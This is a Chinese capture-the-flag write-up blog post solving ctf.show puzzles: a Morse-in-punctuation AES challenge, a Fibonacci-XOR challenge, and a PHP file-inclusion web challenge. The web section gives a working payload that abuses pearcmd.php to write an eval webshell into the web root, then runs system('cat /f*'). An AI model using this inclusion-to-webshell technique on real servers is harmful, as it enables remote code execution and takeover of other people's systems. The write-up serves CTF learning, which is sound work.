【ctf.show】元旦水友赛-Web and Crypto详细完整WP

月月的爱情故事

可以看出有条base64编码。解码后得到:

U2FsdGVkX1/bVF45zytlkeEhefAqkpHQdMqtULk2OibLq79NHJMm9rP3CtkKrE41
CaBJmMIVcUVSb3IzpHeuWw==

很显然以U2FsdGVkX1 开头,为rabbit密码或者AES,尝试过加密,需要密码。

hint:尝试莫斯吧。我们都知道莫斯密码有三种形态  .  -  /。逗号,句号和感叹号正好符合。

第一个莫斯解码刚好得到密钥

# -*- coding:utf-8 -*-
""" 
作者:Wang Xinwei
日期:2024年01月20日
"""
str1="你知道吗。月月今天遇到了一个让他心动的女孩,她的名字叫做小雨,太幸运了。小雨是一个活泼可爱的女孩!她的笑容如同春天里的阳光。温暖了月月的心,月月第一次见到小雨是在图书馆里!事情是这样的。当时小雨正在专心致志地看书。阳光洒在她的脸上。让她看起来如同天使一般美丽!月月被小雨的美丽和才华所吸引。开始暗暗关注她。在接下来的日子里。月月开始尝试与小雨接触!和她聊天和学习。他们有着许多共同的兴趣爱好,一起度过了许多快乐的时光,渐渐地!月月发现自己对小雨产生了特殊的感情,他开始向小雨表达自己的心意,然而,小雨并没有立即接受月月的感情!她告诉月月。她曾经受过感情的伤害,需要时间来慢慢修复自己的心灵。月月尊重小雨的决定!他开始用更多的时间和精力来陪伴小雨,帮助她走出过去的阴影。在接下来的几个月里。月月和小雨的关系逐渐升温!他们一起参加了许多校园活动。一起探索了那个城市的角角落落。渐渐地!雨也开始对月月产生了感情。她发现自己越来越依赖他。越来越喜欢他。最终!小雨和月月走到了一起,他们的爱情故事成为了校园里的佳话。让同学们都羡慕不已,他们一起度过了青春岁月,一起经历了成长和进步的喜悦与挫折!他们的感情越来越深厚。也越来越稳定。在他们的恋爱过程中,月月和小雨也学会了如何相处和包容对方!他们互相理解互相支持。一起面对生活中的挑战和困难!他们的爱情让他们变得更加坚强和勇敢,也让他们感受到了生命中最美好的东西。月月相信他们能走得更远,更相信自己不会辜负小雨,当他们遭遇挫折和失败的时候!两人永远不会被打倒。这正是他们彼此爱的力量。在他们空闲的时候,月月经常带小雨出去逛街!晚上一起看电影。有一天!月月说将来他要给小雨一场最美的婚礼,小雨十分感动也十分期盼。就这样。这份约定成为了两人前进的动力。两人共同努力最终一起考上了同一所大学的研究生。两人非常开心彼此深情地看着对方似乎有说不完的情话!研究生三年他们互相帮助一起度过了人生最有意义的大学时光,毕业后两人也很轻松找到了自己心仪的企业。月月没有忘记当初的约定。是的。他要给小雨一场最美好的婚礼。终于!这一天到来了,小雨穿上月月为她定制的婚纱。他们手牵手走向了更美好的未来。场下。所有的嘉宾都为他们鼓掌和欢呼并祝福他们的爱情能够永恒长存。"
s=""
for i in str1:
    if i=="," or i == "。" or i=="!":
        s+=i
print(s.replace(",","-").replace("。",".").replace("!","/"))
print(s.replace(",",".").replace("。","-").replace("!","/"))

PASSWORDISYUEYUE666

用AES在线解密,得到flag。http://www.jsons.cn/aesencrypt/

得到flag:ctfshow{W0w_th3_st0ry_s0_w0nderfu1!}


麻辣兔头又一锅

只给了一串数据

126292,165298,124522,116716,23623,21538,72802,90966,193480,77695,98618,127096,15893,65821,58966,163254,179952,134870,45821,21712,68316,87720,156070,16323,86266,148522,93678,110618,110445,136381,92706,129732,22416,177638,110110,4324,180608,3820,67750,134150,23116,116772,50573,149156,5292
60144,146332,165671,109800,176885,65766,76908,147004,135068,182821,123107,77538,86482,88096,101725,16475,158935,123018,42322,144694,186769,176935,59296,134856,65813,131931,144283,95814,102191,185706,55744,67711,149076,108054,135112,100344,35434,121479,14506,145222,183989,17548,38904,27832,105943

因为两组数据,个数是一样的,考虑同或或者异或。

这道题的答案是先将对应的;两个数求斐波那契数列。然后取异或再转化为ASCII码。

# -*- coding:utf-8 -*-
""" 
作者:Wang Xinwei
日期:2024年01月20日
"""
import gmpy2
a=[126292,165298,124522,116716,23623,21538,72802,90966,193480,77695,98618,127096,15893,65821,58966,163254,179952,134870,45821,21712,68316,87720,156070,16323,86266,148522,93678,110618,110445,136381,92706,129732,22416,177638,110110,4324,180608,3820,67750,134150,23116,116772,50573,149156,5292]
b=[60144,146332,165671,109800,176885,65766,76908,147004,135068,182821,123107,77538,86482,88096,101725,16475,158935,123018,42322,144694,186769,176935,59296,134856,65813,131931,144283,95814,102191,185706,55744,67711,149076,108054,135112,100344,35434,121479,14506,145222,183989,17548,38904,27832,105943]
le=len(a);re=[]
for i in range(le):
    re.append(gmpy2.fib(a[i])^gmpy2.fib(b[i]))
for i in range(le):
    re[i]=re[i]&0xff
print(bytes(re))

最后得到flag:ctfshow{6d83b2f1-1241-4b25-9c1c-0a4c218f6c5f}


NOeasyRSA

 


easy_include

显然1要用字母开头。

可以用local绕过。

这道题还要用到pearcmd.php的知识。可以看下这篇文章https://www.cnblogs.com/AllFalls/p/17986029

/?+config-create+/<?=eval($_POST[2]);?>+/var/www/html/a.php 

1=localhost/usr/local/lib/php/pearcmd.php

再用蚁剑链接。蚁剑链接不了,因为返回内容比较特殊。我们手动命令执行。输入2=system('cat /f*');得到flag

posted @ 2024-01-20 19:17  AllFalls  阅读(180)  评论(0编辑  收藏  举报